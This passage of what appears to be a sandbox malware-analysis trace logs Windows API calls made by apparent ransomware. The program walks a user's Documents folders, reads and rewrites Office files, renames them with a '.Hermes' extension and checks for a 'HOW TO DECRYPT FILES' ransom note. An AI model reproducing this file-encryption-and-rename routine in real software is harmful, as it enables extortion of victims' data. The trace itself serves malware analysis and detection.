(dwNewMode=0x1, lpOldMode=0x19dab0) returned 1 [0092.648] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\So7sQ6gpKdfTrbp.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\hhxhtu9goilgz\\so7sq6gpkdftrbp.ppt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.678] GetFileType (hFile=0x304) returned 0x1 [0092.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19daac) returned 1 [0092.678] GetFileType (hFile=0x304) returned 0x1 [0092.678] WriteFile (in: hFile=0x304, lpBuffer=0x3055160*, nNumberOfBytesToWrite=0x5a40, lpNumberOfBytesWritten=0x19db60, lpOverlapped=0x0 | out: lpBuffer=0x3055160*, lpNumberOfBytesWritten=0x19db60*=0x5a40, lpOverlapped=0x0) returned 1 [0092.679] CloseHandle (hObject=0x304) returned 1 [0092.686] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\So7sQ6gpKdfTrbp.ppt", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\So7sQ6gpKdfTrbp.ppt", lpFilePart=0x0) returned 0x5f [0092.686] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\So7sQ6gpKdfTrbp.ppt.Hermes", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\So7sQ6gpKdfTrbp.ppt.Hermes", lpFilePart=0x0) returned 0x66 [0092.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19db44) returned 1 [0092.686] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\So7sQ6gpKdfTrbp.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\hhxhtu9goilgz\\so7sq6gpkdftrbp.ppt"), fInfoLevelId=0x0, lpFileInformation=0x19dbc0 | out: lpFileInformation=0x19dbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73868e0, ftCreationTime.dwHighDateTime=0x1d4cd1a, ftLastAccessTime.dwLowDateTime=0xad6c68b0, ftLastAccessTime.dwHighDateTime=0x1d4d157, ftLastWriteTime.dwLowDateTime=0xb0b73504, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x5a40)) returned 1 [0092.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19db40) returned 1 [0092.686] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\So7sQ6gpKdfTrbp.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\hhxhtu9goilgz\\so7sq6gpkdftrbp.ppt"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\So7sQ6gpKdfTrbp.ppt.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\hhxhtu9goilgz\\so7sq6gpkdftrbp.ppt.hermes")) returned 1 [0092.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dc5c) returned 1 [0092.687] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT", nBufferLength=0x105, lpBuffer=0x19d710, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT", lpFilePart=0x0) returned 0x43 [0092.687] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\*", lpFindFileData=0x19d984 | out: lpFindFileData=0x19d984*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ba55f00, ftCreationTime.dwHighDateTime=0x1d4d4c6, ftLastAccessTime.dwLowDateTime=0x53a57b50, ftLastAccessTime.dwHighDateTime=0x1d4cbda, ftLastWriteTime.dwLowDateTime=0x53a57b50, ftLastWriteTime.dwHighDateTime=0x1d4cbda, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfdb430 [0092.688] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ba55f00, ftCreationTime.dwHighDateTime=0x1d4d4c6, ftLastAccessTime.dwLowDateTime=0x53a57b50, ftLastAccessTime.dwHighDateTime=0x1d4cbda, ftLastWriteTime.dwLowDateTime=0x53a57b50, ftLastWriteTime.dwHighDateTime=0x1d4cbda, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.688] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x878b9ad0, ftCreationTime.dwHighDateTime=0x1d4c5db, ftLastAccessTime.dwLowDateTime=0xe68e8e30, ftLastAccessTime.dwHighDateTime=0x1d4c76a, ftLastWriteTime.dwLowDateTime=0xe68e8e30, ftLastWriteTime.dwHighDateTime=0x1d4c76a, nFileSizeHigh=0x0, nFileSizeLow=0x121c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="43Z39pBBrj.pptx", cAlternateFileName="43Z39P~1.PPT")) returned 1 [0092.688] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5fea40, ftCreationTime.dwHighDateTime=0x1d4c64c, ftLastAccessTime.dwLowDateTime=0xfdc79d30, ftLastAccessTime.dwHighDateTime=0x1d4c9b8, ftLastWriteTime.dwLowDateTime=0xfdc79d30, ftLastWriteTime.dwHighDateTime=0x1d4c9b8, nFileSizeHigh=0x0, nFileSizeLow=0xc918, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEidfn6.pps", cAlternateFileName="")) returned 1 [0092.688] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58e71530, ftCreationTime.dwHighDateTime=0x1d4cb92, ftLastAccessTime.dwLowDateTime=0xb8aae8d0, ftLastAccessTime.dwHighDateTime=0x1d4c795, ftLastWriteTime.dwLowDateTime=0xb8aae8d0, ftLastWriteTime.dwHighDateTime=0x1d4c795, nFileSizeHigh=0x0, nFileSizeLow=0x7aa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="jDPo.xls", cAlternateFileName="")) returned 1 [0092.688] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb163a40, ftCreationTime.dwHighDateTime=0x1d4cb08, ftLastAccessTime.dwLowDateTime=0x64696a60, ftLastAccessTime.dwHighDateTime=0x1d4c6d9, ftLastWriteTime.dwLowDateTime=0x64696a60, ftLastWriteTime.dwHighDateTime=0x1d4c6d9, nFileSizeHigh=0x0, nFileSizeLow=0x1587a, dwReserved0=0x0, dwReserved1=0x0, cFileName="kryOh-FNUXNCWUA.xls", cAlternateFileName="KRYOH-~1.XLS")) returned 1 [0092.688] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44d5e9a0, ftCreationTime.dwHighDateTime=0x1d4c8c1, ftLastAccessTime.dwLowDateTime=0x96de0910, ftLastAccessTime.dwHighDateTime=0x1d4ccce, ftLastWriteTime.dwLowDateTime=0x96de0910, ftLastWriteTime.dwHighDateTime=0x1d4ccce, nFileSizeHigh=0x0, nFileSizeLow=0x15b96, dwReserved0=0x0, dwReserved1=0x0, cFileName="nsPIp.pps", cAlternateFileName="")) returned 1 [0092.689] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd7189c0, ftCreationTime.dwHighDateTime=0x1d4cbbb, ftLastAccessTime.dwLowDateTime=0x1bd444b0, ftLastAccessTime.dwHighDateTime=0x1d4d4a7, ftLastWriteTime.dwLowDateTime=0x1bd444b0, ftLastWriteTime.dwHighDateTime=0x1d4d4a7, nFileSizeHigh=0x0, nFileSizeLow=0xe47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="oKefxkUyIL.xls", cAlternateFileName="OKEFXK~1.XLS")) returned 1 [0092.689] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89db42c0, ftCreationTime.dwHighDateTime=0x1d4d5d7, ftLastAccessTime.dwLowDateTime=0x67451390, ftLastAccessTime.dwHighDateTime=0x1d4d1d0, ftLastWriteTime.dwLowDateTime=0x67451390, ftLastWriteTime.dwHighDateTime=0x1d4d1d0, nFileSizeHigh=0x0, nFileSizeLow=0x1427d, dwReserved0=0x0, dwReserved1=0x0, cFileName="yOtj RSlDnhyJi.xlsx", cAlternateFileName="YOTJRS~1.XLS")) returned 1 [0092.689] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0092.689] FindClose (in: hFindFile=0xfdb430 | out: hFindFile=0xfdb430) returned 1 [0092.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dc18) returned 1 [0092.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dc24) returned 1 [0092.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dc5c) returned 1 [0092.689] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT", nBufferLength=0x105, lpBuffer=0x19d710, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT", lpFilePart=0x0) returned 0x43 [0092.689] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\*", lpFindFileData=0x19d984 | out: lpFindFileData=0x19d984*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ba55f00, ftCreationTime.dwHighDateTime=0x1d4d4c6, ftLastAccessTime.dwLowDateTime=0x53a57b50, ftLastAccessTime.dwHighDateTime=0x1d4cbda, ftLastWriteTime.dwLowDateTime=0x53a57b50, ftLastWriteTime.dwHighDateTime=0x1d4cbda, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfdb270 [0092.690] FindNextFileW (in: hFindFile=0xfdb270, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ba55f00, ftCreationTime.dwHighDateTime=0x1d4d4c6, ftLastAccessTime.dwLowDateTime=0x53a57b50, ftLastAccessTime.dwHighDateTime=0x1d4cbda, ftLastWriteTime.dwLowDateTime=0x53a57b50, ftLastWriteTime.dwHighDateTime=0x1d4cbda, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.690] FindNextFileW (in: hFindFile=0xfdb270, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x878b9ad0, ftCreationTime.dwHighDateTime=0x1d4c5db, ftLastAccessTime.dwLowDateTime=0xe68e8e30, ftLastAccessTime.dwHighDateTime=0x1d4c76a, ftLastWriteTime.dwLowDateTime=0xe68e8e30, ftLastWriteTime.dwHighDateTime=0x1d4c76a, nFileSizeHigh=0x0, nFileSizeLow=0x121c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="43Z39pBBrj.pptx", cAlternateFileName="43Z39P~1.PPT")) returned 1 [0092.690] FindNextFileW (in: hFindFile=0xfdb270, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5fea40, ftCreationTime.dwHighDateTime=0x1d4c64c, ftLastAccessTime.dwLowDateTime=0xfdc79d30, ftLastAccessTime.dwHighDateTime=0x1d4c9b8, ftLastWriteTime.dwLowDateTime=0xfdc79d30, ftLastWriteTime.dwHighDateTime=0x1d4c9b8, nFileSizeHigh=0x0, nFileSizeLow=0xc918, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEidfn6.pps", cAlternateFileName="")) returned 1 [0092.690] FindNextFileW (in: hFindFile=0xfdb270, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58e71530, ftCreationTime.dwHighDateTime=0x1d4cb92, ftLastAccessTime.dwLowDateTime=0xb8aae8d0, ftLastAccessTime.dwHighDateTime=0x1d4c795, ftLastWriteTime.dwLowDateTime=0xb8aae8d0, ftLastWriteTime.dwHighDateTime=0x1d4c795, nFileSizeHigh=0x0, nFileSizeLow=0x7aa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="jDPo.xls", cAlternateFileName="")) returned 1 [0092.690] FindNextFileW (in: hFindFile=0xfdb270, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb163a40, ftCreationTime.dwHighDateTime=0x1d4cb08, ftLastAccessTime.dwLowDateTime=0x64696a60, ftLastAccessTime.dwHighDateTime=0x1d4c6d9, ftLastWriteTime.dwLowDateTime=0x64696a60, ftLastWriteTime.dwHighDateTime=0x1d4c6d9, nFileSizeHigh=0x0, nFileSizeLow=0x1587a, dwReserved0=0x0, dwReserved1=0x0, cFileName="kryOh-FNUXNCWUA.xls", cAlternateFileName="KRYOH-~1.XLS")) returned 1 [0092.691] FindNextFileW (in: hFindFile=0xfdb270, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44d5e9a0, ftCreationTime.dwHighDateTime=0x1d4c8c1, ftLastAccessTime.dwLowDateTime=0x96de0910, ftLastAccessTime.dwHighDateTime=0x1d4ccce, ftLastWriteTime.dwLowDateTime=0x96de0910, ftLastWriteTime.dwHighDateTime=0x1d4ccce, nFileSizeHigh=0x0, nFileSizeLow=0x15b96, dwReserved0=0x0, dwReserved1=0x0, cFileName="nsPIp.pps", cAlternateFileName="")) returned 1 [0092.691] FindNextFileW (in: hFindFile=0xfdb270, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd7189c0, ftCreationTime.dwHighDateTime=0x1d4cbbb, ftLastAccessTime.dwLowDateTime=0x1bd444b0, ftLastAccessTime.dwHighDateTime=0x1d4d4a7, ftLastWriteTime.dwLowDateTime=0x1bd444b0, ftLastWriteTime.dwHighDateTime=0x1d4d4a7, nFileSizeHigh=0x0, nFileSizeLow=0xe47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="oKefxkUyIL.xls", cAlternateFileName="OKEFXK~1.XLS")) returned 1 [0092.691] FindNextFileW (in: hFindFile=0xfdb270, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89db42c0, ftCreationTime.dwHighDateTime=0x1d4d5d7, ftLastAccessTime.dwLowDateTime=0x67451390, ftLastAccessTime.dwHighDateTime=0x1d4d1d0, ftLastWriteTime.dwLowDateTime=0x67451390, ftLastWriteTime.dwHighDateTime=0x1d4d1d0, nFileSizeHigh=0x0, nFileSizeLow=0x1427d, dwReserved0=0x0, dwReserved1=0x0, cFileName="yOtj RSlDnhyJi.xlsx", cAlternateFileName="YOTJRS~1.XLS")) returned 1 [0092.691] FindNextFileW (in: hFindFile=0xfdb270, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89db42c0, ftCreationTime.dwHighDateTime=0x1d4d5d7, ftLastAccessTime.dwLowDateTime=0x67451390, ftLastAccessTime.dwHighDateTime=0x1d4d1d0, ftLastWriteTime.dwLowDateTime=0x67451390, ftLastWriteTime.dwHighDateTime=0x1d4d1d0, nFileSizeHigh=0x0, nFileSizeLow=0x1427d, dwReserved0=0x0, dwReserved1=0x0, cFileName="yOtj RSlDnhyJi.xlsx", cAlternateFileName="YOTJRS~1.XLS")) returned 0 [0092.691] FindClose (in: hFindFile=0xfdb270 | out: hFindFile=0xfdb270) returned 1 [0092.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dc18) returned 1 [0092.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dc24) returned 1 [0092.692] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\43Z39pBBrj.pptx", nBufferLength=0x105, lpBuffer=0x19d580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\43Z39pBBrj.pptx", lpFilePart=0x0) returned 0x53 [0092.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dac4) returned 1 [0092.692] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\43Z39pBBrj.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\43z39pbbrj.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.692] GetFileType (hFile=0x304) returned 0x1 [0092.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dac0) returned 1 [0092.692] GetFileType (hFile=0x304) returned 0x1 [0092.692] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19dbc0 | out: lpFileSizeHigh=0x19dbc0*=0x0) returned 0x121c9 [0092.692] ReadFile (in: hFile=0x304, lpBuffer=0x305e5ac, nNumberOfBytesToRead=0x121c9, lpNumberOfBytesRead=0x19db6c, lpOverlapped=0x0 | out: lpBuffer=0x305e5ac*, lpNumberOfBytesRead=0x19db6c*=0x121c9, lpOverlapped=0x0) returned 1 [0092.692] CloseHandle (hObject=0x304) returned 1 [0092.719] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19d684, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0092.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19db38) returned 1 [0092.719] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19dbb4 | out: lpFileInformation=0x19dbb4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0092.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19db34) returned 1 [0092.719] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\43Z39pBBrj.pptx", nBufferLength=0x105, lpBuffer=0x19d56c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\43Z39pBBrj.pptx", lpFilePart=0x0) returned 0x53 [0092.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dab0) returned 1 [0092.720] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\43Z39pBBrj.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\43z39pbbrj.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.721] GetFileType (hFile=0x304) returned 0x1 [0092.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19daac) returned 1 [0092.721] GetFileType (hFile=0x304) returned 0x1 [0092.721] WriteFile (in: hFile=0x304, lpBuffer=0x30e191c*, nNumberOfBytesToWrite=0x121d0, lpNumberOfBytesWritten=0x19db60, lpOverlapped=0x0 | out: lpBuffer=0x30e191c*, lpNumberOfBytesWritten=0x19db60*=0x121d0, lpOverlapped=0x0) returned 1 [0092.723] CloseHandle (hObject=0x304) returned 1 [0092.725] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\43Z39pBBrj.pptx", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\43Z39pBBrj.pptx", lpFilePart=0x0) returned 0x53 [0092.725] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\43Z39pBBrj.pptx.Hermes", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\43Z39pBBrj.pptx.Hermes", lpFilePart=0x0) returned 0x5a [0092.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19db44) returned 1 [0092.726] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\43Z39pBBrj.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\43z39pbbrj.pptx"), fInfoLevelId=0x0, lpFileInformation=0x19dbc0 | out: lpFileInformation=0x19dbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x878b9ad0, ftCreationTime.dwHighDateTime=0x1d4c5db, ftLastAccessTime.dwLowDateTime=0xe68e8e30, ftLastAccessTime.dwHighDateTime=0x1d4c76a, ftLastWriteTime.dwLowDateTime=0xb0bbfb24, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x121d0)) returned 1 [0092.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19db40) returned 1 [0092.726] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\43Z39pBBrj.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\43z39pbbrj.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\43Z39pBBrj.pptx.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\43z39pbbrj.pptx.hermes")) returned 1 [0092.726] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\jDPo.xls", nBufferLength=0x105, lpBuffer=0x19d580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\jDPo.xls", lpFilePart=0x0) returned 0x4c [0092.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dac4) returned 1 [0092.726] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\jDPo.xls" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\jdpo.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.727] GetFileType (hFile=0x304) returned 0x1 [0092.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dac0) returned 1 [0092.727] GetFileType (hFile=0x304) returned 0x1 [0092.727] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19dbc0 | out: lpFileSizeHigh=0x19dbc0*=0x0) returned 0x7aa1 [0092.727] ReadFile (in: hFile=0x304, lpBuffer=0x30f41d4, nNumberOfBytesToRead=0x7aa1, lpNumberOfBytesRead=0x19db6c, lpOverlapped=0x0 | out: lpBuffer=0x30f41d4*, lpNumberOfBytesRead=0x19db6c*=0x7aa1, lpOverlapped=0x0) returned 1 [0092.727] CloseHandle (hObject=0x304) returned 1 [0092.749] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19d684, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0092.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19db38) returned 1 [0092.749] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19dbb4 | out: lpFileInformation=0x19dbb4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0092.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19db34) returned 1 [0092.749] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\jDPo.xls", nBufferLength=0x105, lpBuffer=0x19d56c, lpFilePart=0x0 | out: 